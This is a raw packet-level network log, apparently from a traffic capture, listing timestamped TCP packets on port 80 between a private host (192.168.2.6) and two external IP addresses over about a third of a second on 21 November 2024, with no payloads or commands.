Nov 21, 2024 14:11:26.758850098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758861065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758872032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758873940 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758873940 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758883953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758896112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758909941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758914948 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758923054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758925915 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.758934021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.758969069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.759213924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.759226084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.759252071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.759346962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.759358883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.759368896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.759376049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.759397984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.759408951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.759418964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.759428978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.759454966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759465933 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759479046 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759493113 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.759493113 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.759502888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759514093 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759521008 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759524107 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759536982 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759546995 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759550095 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759561062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759572029 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759574890 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759586096 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759597063 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759607077 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759607077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759634972 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759649992 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759660006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759670973 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759673119 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759680986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759691954 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759695053 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759704113 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759723902 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759727955 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759740114 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759743929 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759752989 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759782076 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759783983 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759797096 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759815931 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759824038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759835005 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759845018 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759856939 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759856939 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759870052 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759881020 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759892941 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759896040 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759917021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759917021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759919882 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759933949 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759947062 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759955883 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759974957 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.759979010 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759990931 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.759993076 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760004044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760027885 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760106087 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760243893 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760257006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760267019 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760325909 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760371923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760385990 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760396004 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760410070 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760422945 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760427952 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760433912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760446072 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760447025 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760459900 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760471106 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760482073 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760499954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760499954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760499954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760504961 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760524035 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760529041 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760548115 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760560036 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760570049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760579109 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760579109 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760581970 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760593891 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760606050 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760606050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760606050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760632038 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760632992 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760663033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760674953 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760684967 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760695934 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760699034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760721922 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760734081 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760734081 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760745049 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760755062 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760756969 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760772943 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760781050 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760792971 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760804892 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760812044 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760812044 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760817051 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760829926 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760839939 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760848999 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760852098 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760864973 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760868073 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760868073 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760875940 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760888100 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760900021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760910988 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760910988 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760925055 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760937929 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760938883 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760938883 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760938883 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760948896 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760961056 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760972977 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760974884 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.760984898 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760997057 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.760998011 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.761028051 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.761094093 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.761231899 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.761244059 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.761306047 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.761306047 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.837583065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.852509975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.852571964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.853002071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.853287935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.853338003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.853466034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.873799086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.873894930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.874053001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.874316931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.874365091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.875087976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.875147104 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.875188112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.875971079 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.875987053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.876076937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.876677990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.876960039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.877017975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.877120018 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.878035069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.878055096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.878503084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.878925085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.879072905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.879304886 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.879753113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.879803896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.879998922 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.880353928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.880522013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.881050110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.881237984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.881289005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.881485939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.882143021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.882256985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.883040905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.883147955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.883177042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.883817911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.884021997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.884253979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.884848118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.884900093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.884938955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.885054111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.885747910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.885852098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.885973930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.886627913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.886738062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.887526035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.887615919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.887639999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.887732029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.888432026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.888551950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.889009953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.889364004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.889467001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.889554977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.890213966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.890317917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.890587091 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.891107082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.891259909 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.892043114 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.892049074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.892144918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.892601013 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.892935038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.893032074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.893855095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.893910885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.893944025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.894406080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.894670963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.894783020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.895016909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.895674944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.895735025 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.895875931 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.896615028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.896725893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.896867037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.897381067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.897485971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.898001909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.898276091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.898328066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.898586988 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.899285078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.899310112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.899426937 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.900063992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.900192022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.900651932 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.901004076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.901149035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.901281118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.901846886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.901953936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.902839899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.902900934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.902951002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.903680086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.903711081 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.903811932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.904105902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.904544115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.904666901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.905054092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.905421019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.905523062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.905704021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.957122087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.957302094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.957444906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.957660913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.957730055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.957875967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.958483934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.958621979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.959039927 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.959376097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.959510088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.959728956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.960258961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.960303068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.960819006 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.961149931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.961249113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.961442947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.962014914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.962131977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.962579966 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.962960958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.963093042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.963162899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.963839054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.963952065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.964072943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.964742899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.964932919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.965065002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.965626955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.965735912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.965857029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.966537952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.966629028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.966747999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.967425108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.967519999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.967837095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.968291998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.968386889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.968525887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.969172955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.023746014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.044584036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.044702053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.044944048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.045082092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.045130014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.045892000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.046010017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.046067953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.046740055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.046858072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.046919107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.047648907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.047727108 CET	80	49903	34.116.198.130	192.168.2.6
